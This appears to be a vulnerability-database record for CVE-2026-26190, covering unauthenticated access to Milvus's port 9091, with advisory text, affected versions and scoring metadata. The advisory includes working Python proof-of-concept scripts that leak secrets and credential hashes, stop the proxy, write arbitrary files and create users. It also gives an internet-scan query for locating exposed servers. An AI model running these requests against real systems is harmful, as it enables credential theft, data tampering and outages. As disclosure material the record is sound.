{"schema":"threatline.record/2","record":{"id":"CVE-2026-26190","aliases":["BIT-milvus-2026-26190","GHSA-7ppg-37fh-vcr6","GO-2026-4481"],"summary":"Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise","details":"## Summary\n\nMilvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:\n\n1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.\n2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.\n\n## Details\n\n### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint\n\nThe `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:\n\n- **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, 'root')`, etc.\n- **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service.\n- **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.\n\n### Vulnerability 2: Unauthenticated REST API on Metrics Port\n\nBusiness-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.\n\nAn attacker can perform any business operation without credentials, including:\n\n- Creating, listing, and deleting collections\n- Inserting and querying data\n- Creating, listing, and deleting user credentials\n- Modifying user passwords\n\n## Proof of Concept\n\n### PoC 1 — `/expr` Endpoint Exploitation\n\n```python\nimport requests\n\nurl = \"http://<target>:9091/expr\"\n\n# Leak sensitive configuration (e.g., MinIO secret key)\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"param.MinioCfg.SecretAccessKey.GetValue()\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Retrieve hashed credentials for the root user\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"rootcoord.meta.GetCredential(ctx, 'root')\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Denial of Service — stop the proxy\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"proxy.Stop()\"\n}, timeout=5)\n\n# Arbitrary file write (potential RCE)\nfor cmd in [\n    'param.Save(\"proxy.accessLog.localPath\", \"/tmp\")',\n    'param.Save(\"proxy.accessLog.formatters.base.format\", \"whoami\")',\n    'param.Save(\"proxy.accessLog.filename\", \"evil.sh\")',\n    'querycoord.etcdCli.KV.Put(ctx, \"by-dev/config/proxy/accessLog/enable\", \"true\")'\n]:\n    requests.get(url, params={\"auth\": \"by-dev\", \"code\": cmd}, timeout=5)\n```\n\n### PoC 2 — Unauthenticated REST API Access\n\n```python\nimport requests\n\ntarget_url = \"http://<target>:9091\"\n\n# Create a user without any authentication\nres = requests.post(f\"{target_url}/api/v1/credential\", json={\n    \"username\": \"attacker_user\",\n    \"password\": \"MTIzNDU2Nzg5\",\n})\nprint(res.json())\n\n# List all users\nres = requests.get(f\"{target_url}/api/v1/credential/users\")\nprint(res.json())  # {'status': {}, 'usernames': ['root', 'attacker_user']}\n\n# Create and delete collections, insert data — all without authentication\n```\n\n## Internet Exposure\n\nA significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:\n\n```\nhttp.body=\"404 page not found\" && port=\"9091\"\n```\n\nThis indicates the vulnerability is actively exploitable in real-world production environments.\n\n## Impact\n\nAn unauthenticated remote attacker with network access to port 9091 can:\n\n1. **Exfiltrate secrets and credentials** — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.\n2. **Manipulate all data** — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.\n3. **Manage user accounts** — Create administrative users, reset passwords, and escalate privileges.\n4. **Cause denial of service** — Shut down proxy services, drop databases, or corrupt metadata.\n5. **Write arbitrary files** — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.\n\n## Remediation\n\n### Recommended Fixes\n\n1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.\n2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.\n3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured.\n4. **Enforce authentication on all API endpoints**, regardless of which port they are served on.\n\n### User Mitigations (until patched)\n\n- Block external access to port 9091 using firewall rules or network policies.\n- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.\n- Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).\n\n## Credit\n\nThis vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).","categories":["Libraries & packages"],"product":"github.com/milvus-io/milvus","vendor":"milvus-io","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7ppg-37fh-vcr6","source_modified_at":"2026-10-22T18:19:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/milvus-io/milvus"},"range":"< 2.5.27"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7ppg-37fh-vcr6","source_modified_at":"2026-10-22T18:19:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/milvus-io/milvus"},"range":">= 2.6.0, < 2.6.10"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-26190","source_modified_at":"2026-02-26T14:44:20.414Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"milvus","vendor":"milvus-io","versions":[{"status":"affected","version":"< 2.5.27"},{"status":"affected","version":">= 2.6.0, < 2.6.10"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7ppg-37fh-vcr6","source_modified_at":"2026-07-20T05:15:25.159619510Z","fetched_at":"2026-10-23T18:55:00.935475Z","package":{"name":"github.com/milvus-io/milvus","ecosystem":"Go","purl":"pkg:golang/github.com/milvus-io/milvus"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.5.27"}]}],"versions":[]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7ppg-37fh-vcr6","source_modified_at":"2026-07-20T05:15:25.159619510Z","fetched_at":"2026-10-23T18:55:00.935475Z","package":{"name":"github.com/milvus-io/milvus","ecosystem":"Go","purl":"pkg:golang/github.com/milvus-io/milvus"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.6.0"},{"fixed":"2.6.10"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7ppg-37fh-vcr6","source_modified_at":"2026-10-22T18:19:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/milvus-io/milvus"},"version":"2.5.27"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-7ppg-37fh-vcr6","source_modified_at":"2026-10-22T18:19:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/milvus-io/milvus"},"version":"2.6.10"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7ppg-37fh-vcr6","source_modified_at":"2026-07-20T05:15:25.159619510Z","fetched_at":"2026-10-23T18:55:00.935475Z","package":{"name":"github.com/milvus-io/milvus","ecosystem":"Go","purl":"pkg:golang/github.com/milvus-io/milvus"},"version":"2.5.27"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-7ppg-37fh-vcr6","source_modified_at":"2026-07-20T05:15:25.159619510Z","fetched_at":"2026-10-23T18:55:00.935475Z","package":{"name":"github.com/milvus-io/milvus","ecosystem":"Go","purl":"pkg:golang/github.com/milvus-io/milvus"},"version":"2.6.10"}],"cvss":9.8,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.0456,"percentile":0.91567,"score_date":"2026-10-23"},"published_at":"2026-02-13T18:44:33.465Z","modified_at":"2026-10-22T18:19:50Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-7ppg-37fh-vcr6","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-22T18:19:50Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-26190","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-02-26T14:44:20.414Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-7ppg-37fh-vcr6","fetched_at":"2026-10-23T18:55:00.935475Z","source_modified_at":"2026-07-20T05:15:25.159619510Z"},{"source":"Nuclei","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-26190.yaml","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":null},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26190","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","Nuclei","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6","tags":["x_refsource_CONFIRM"]},{"source":"CVE List","url":"https://github.com/milvus-io/milvus/releases/tag/v2.5.27","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/milvus-io/milvus/releases/tag/v2.6.10","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/milvus-io/milvus/commit/92b74dd2e286006a83b4a5f07951027b32e718a9","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-7ppg-37fh-vcr6","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"total","assessed_at":"2026-02-18T04:56:24.717605Z"},"exploits":[{"kind":"Scanner template","name":"Milvus - Unauthenticated Metrics API Access","source":"Nuclei","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-26190.yaml"}],"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-22T18:19:50Z","content_hash":"e92320705e70bcd2171e9b8c82f6af86beeda2f3cdd135c01c897027a84f58d1"}}
